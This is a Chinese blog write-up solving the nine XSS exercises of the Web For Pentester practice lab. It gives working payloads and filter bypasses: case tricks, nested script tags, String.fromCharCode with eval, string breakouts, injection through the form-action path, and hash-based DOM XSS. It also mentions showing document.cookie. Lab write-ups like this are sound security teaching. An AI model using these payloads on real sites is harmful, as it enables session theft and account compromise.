本次做的是Web For Pentester靶機里面的XSS題目,一共有9道題目。
關於靶機搭建參考這篇文章:滲透測試靶機的搭建
第1題(無過濾措施)
首先在后面輸入xss:
http://10.211.55.16/xss/example1.php?name=xss
看到如下頁面:
然后查看下源碼:
感覺這里沒有任何的防御措施,忍不住笑出了聲。
有很多的標簽里面都可以調用HTML的事件屬性來彈窗,為了節約時間,下面我就列舉出一些比較常用的手法。
利用基本的script標簽來彈窗
Payload
<script>alert('xss')</script>
定義和用法
script 標簽用於定義客戶端腳本,比如 JavaScript。
效果圖
利用iframe標簽的的src屬性來彈窗
Payload
<iframe src=javascript:alert('xss')></iframe>
定義和用法
iframe 元素會創建包含另外一個文檔的內聯框架(即行內框架)。
效果圖
利用標簽的href屬性來彈窗
Payload
<a href=javascript:alert('xss')>ggtest</a>
這里就是超鏈接到了:javascript:alert('xss')
效果和瀏覽器直接打開這個地址:javascript:alert('xss')
是一樣的
這里還可以使用:javascript:alert(document.cookie)
來彈出當前會話的cookie
定義和用法
標簽定義超鏈接,用於從一張頁面鏈接到另一張頁面。
元素最重要的屬性是 href 屬性,它指示鏈接的目標。
指向國光博客的一個例子:
<a href="http://git.sqlsec.com”>國光博客</a>
效果圖
利用
標簽來彈窗
Payload
<img src=1 onerror=alert('xss')>
這里的src后面是填寫的 是 圖片的地址
,為了 測試簡便 這個地址里面我們一般隨便填寫,比如這里我們填寫的就是 1
,因為1
不是一個正確的值,所以 觸發了后面的 onerror
事件(遇到錯誤 就觸發)
當然如果在src里面填寫一個正常的URL的話,就不會彈窗的了,因為onerror的觸發條件是得報錯。
當src
后面的值是正確的時候呢,這個還可以用 oneclick
事件來觸發彈窗
<img src=http://www.sqlsec.com/favicon.ico onclick=alert('xss')>
這里不論src后面的值 是否正確,只要鼠標點擊,就會觸發 彈窗事件。
類似onerror和onclick的時間有很多種下面
列舉出常見的事件
Windows事件屬性
事件 | 作用 |
---|---|
onerror | 在錯誤發生時運行的腳本 |
onload | 頁面結束加載之后觸發 |
Keyboard 事件
事件 | 作用 |
---|---|
onkeydown | 在用戶按下按鍵時觸發 |
onkeypress | 在用戶敲擊按鈕時觸發 |
onkeyup | 當用戶釋放按鍵時觸發 |
鼠標(Mouse)事件
事件 | 作用 |
---|---|
onclick | 元素上發生鼠標點擊時觸發 |
onmousedown | 當元素上按下鼠標按鈕時觸發 |
onmousemove | 當鼠標指針移動到元素上時觸發。 |
onmouseover | 當鼠標指針移動到元素上時觸 |
onmouseout | 當鼠標指針移出元素時觸發 |
onmouseup | 當在元素上釋放鼠標按鈕時觸發 |
定義和用法
img 元素向網頁中嵌入一幅圖像。
請注意,從技術上講, 標簽並不會在網頁中插入圖像,而是從網頁上鏈接圖像。
標簽創建的是被引用圖像的占位空間。
標簽有兩個必需的屬性:src 屬性 和 alt 屬性
凡是支持事件的HTML標簽都是可以彈窗的,在HTML中支持事件屬性的標簽很多,下面我就
列舉出一些支持事件的HTML常見標簽
標簽 | 作用 |
---|---|
a | 定義超鏈接,用於從一張頁面鏈接到另一張頁面,最重要的屬性是 href 屬性,它指示鏈接的目標 |
article | 規定獨立的自包含內容一篇文章應有其自身的意義,應該有可能獨立於站點的其余部分對其進行分發 |
audio | 定義聲音,比如音樂或其他音頻流 |
b | 規定粗體文本 |
body | 定義文檔的主體,包含文檔的所有內容 |
br | 只是簡單地開始新的一行 |
button | 定義一個按鈕 |
iframe | 會創建包含另外一個文檔的內聯框架 |
img | 向網頁中嵌入一幅圖像 |
select | 可創建單選或多選菜單 |
style | 用於為 HTML 文檔定義樣式信息 |
textarea | 標簽定義多行的文本輸入控件 |
video | 定義視頻,比如電影片段或其他視頻流 |
第一題因為沒有任何的過濾,所以理論上支持調用HTML事件屬性的標簽都是可以成功彈窗的,下面來個
綜合點的payload
http://10.211.55.16/xss/example1.php?name=<button type="button" onclick=alert('xss')>通過按鈕點擊觸發xss</button> <font size="4" color="blue" onmouseover=alert('xss')> 移動到元素觸發xss </font> <br>
<select> <option onclick=alert('x')>onclick點擊觸發事件</option> <option values=1 onmousedown=alert('ss')>onmousedown觸發</option></select> <a href=javascript:alert('xss')>利用a標簽的href屬性觸發</a> <br>
<textarea placeholder=國光的xss測試:鍵盤按鍵觸發xss onkeypress=alert('xss')></textarea>
第2題(大小寫轉換)
這一題的話, 除了<script>alert('xss')</script>
這個payload,其他用第一題中的其他payload:
<iframe src=javascript:alert('xss')></iframe>
<a href=javascript:alert('xss')>ggtest</a>
<img src=1 onerror=alert('xss')>
...
依然還是可以的,好吧,為了不這么容易做完這道題目,我們來下面的題目都盡量使用<script>alert('xss')</script>
來試試看
查看下源碼:
這里我們猜測過濾<script>
和</script>
然后這里嘗試下大小寫轉換,嘗試着繞過過濾:
<Script>alert('xss')</scripT>
可以看到成功繞過了:
第3題(嵌套構造)
直接輸入
<Script>alert('xss')</scripT>
發現大小寫轉換的這個套路已經不能夠使用了
得到結論是:沒有過濾alert('xss'),現在就把注意力集中在 <script>
和</script>
上
Fuzz測試一下,看看具體過濾了哪些字符?然后再想辦法繞過。
http://10.211.55.16/xss/example3.php?name=<></>script<script>
可以看出過濾了:</script>
和<script>
嘗試構造輸入:
http://10.211.55.16/xss/example3.php?name=<sc<script>ript>
查看源碼后發現成功構造出
<script>
於是判斷這里只顧慮了一次,接着嘗試構造如下完整的payload:
http://10.211.55.16/xss/example3.php?name=<sc<script>ript>alert('xss')</s</script>cript>
第4題(利用標簽繞過)
直接輸入:<script>alert('xss')</script>
發現直接 error
了
於是再次出嘗試輸入:
http://10.211.55.16/xss/example4.php?name=<>alert('xss')</>
再次得出結論:沒有過濾<>
</>
alerrt('xss')
,現在主要想辦法對script
做個處理來繞過過濾。
然而我各種編碼都沒有繞過,有的編碼的確是繞過了,但是貌似沒有解析腳本 =,=
哎~~~放棄用這種形式的<script>alert('xss')</script>
的payload了,於是乎使用下面的<img>標簽
成功繞過:
<img src=1 onerror=alert('xss')>
第5題(String.fromCharCode編碼繞過)
首先執行:
<script>alert('xss')</script>
發現直接就 報 error了,於是fuzz測試發現並沒有過濾:<script>
和</script>
只是過濾了:alert
利用火狐瀏覽器的hackbar
插件對alert('xss')
進行String.fromCharCode
轉換:
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59))</script>
第6題(閉合標簽)
首先默認查看下源碼:
發現我們輸出的hacker
作為了一個變量賦值給了a,並且這個變量在<script>
這個標簽中
這樣的話,只要能夠突破這個賦值的變量,就可以利用這個<script>
這個標簽來彈窗了。
下面想辦法閉合進行fuzz測試......
這里邊看源碼邊做調整。幾次測試后得到如下可以彈窗的payload:
11";</script><img src=1 onerror=alert('xss')><script>
來查看下源碼來簡單的分析一下:
Hello
<script>
var $a= "11";</script><img src=1 onerror=alert('xss')><script>";
</script>
<footer>
<p>© PentesterLab 2013</p>
</footer>
pauyload最前面的
11";</script>
閉合了前面的<script>
標簽
最后面的
<script>
閉合了后面的<script>
標簽
中間的
<img src=1 onerror=alert('xss')>
用來觸發 彈窗事件
第7題
首先來查看下源碼:
感覺貌似和第6題差不多,於是稍微修改了下使用下面的payload來進行測試:
hacker';</script><img src=1 onerror=alert('xss')><script>
結果並沒有彈窗,趕緊查看下源碼壓壓驚:
可以看到對輸入的 <
和/
和>
符號進行轉義了,導致我們的彈窗失敗。
所以現在的着重點就是 如何處理這些符號:
<
和/
和>
然而我失敗了,對這些符號進行轉碼也是失敗了,后來想了好久終於知道問題所在了:
受到以前閉合一句話木馬的緣故,我老是想着閉合首尾的標簽
后來仔細想想,這個變量 就在<script>
里面,可以在里面直接寫alert('xss')來彈窗的,這樣也就不需要使用
<
和/
和>
特殊符號了。這么看來的話,第6題 也應該這么來做,奇葩的我,居然是閉合的方式來彈窗的....
http://10.211.55.16/xss/example6.php?name=name=";alert('xss');var b="
查看下源碼:
Hello
<script>
var $a= "name=";alert('xss');var b="";
</script>
<footer>
<p>© PentesterLab 2013</p>
</footer>
這里 巧妙的利用了 ;
來在<script>
標簽里面執行alert('xss')
第8題
是一個輸入框,然后輸入payload:<img src=1 onerror=alert('xss')>
;來試試看,查看源碼:
HELLO <img src=1 onerror=alert('xss')><form action="/xss/example8.php" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
<footer>
<p>© PentesterLab 2013</p>
</footer>
發現也是對 <
>
標簽進行轉義了,這里進行各種編碼也沒有繞過。
又是好久也沒有成功突破,最后仔細看源碼,發現突破點在於
<form action="/xss/example8.php"
這是第8題的URL,於是注意力轉移到URL處,嘗試在URL后面添加
http://10.211.55.16/xss/example8.php/
查看源碼:
發現我們最后添加的 :/
寫在了<form>
這個標簽中,於是在這里進行fuzz測試,嘗試閉合標簽,最后構造的payload如下:
http://10.211.55.16/xss/example8.php/"><img src=1 onerror=alert('xss')><form
來查看下源碼來分析剛剛構造的payload:
<form action="/xss/example8.php/"><img src=1 onerror=alert('xss')><form" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
可以看到這里
/"
閉合了最前面的<form>
<form>
閉合了最后面的/>
中間的
<img src=1 onerror=alert('xss')>
觸發了彈窗事件
第9題
這一題很特殊,不愧是大boss,這里首先查看下源碼:
在源碼中完全找不到hacker
的任何字樣,於是仔細百度最可疑的地方:
<script>
document.write(location.hash.substring(1));
</script>
找到一份資料:http://www.runoob.com/jsref/prop-loc-hash.html
這里可以大概看出這里是讀取#
后面的東西,於是乎簡單的在#
后面構造xss語句:
http://10.211.55.16/xss/example9.php#<img src=http://www.sqlsec.com/favicon.ico onclick=alert('Bingo')>
最后一道題目了,得錄制個gif來慶祝一下:
小結
雖然這個平台只有9道題目,但是用心去整理拓展,發現可以學到很多xss的姿勢,這樣又把以前快忘記的xss姿勢鞏固提高了一下,更好的為不久后挖BAT的XSS漏洞做好基礎知識的准備。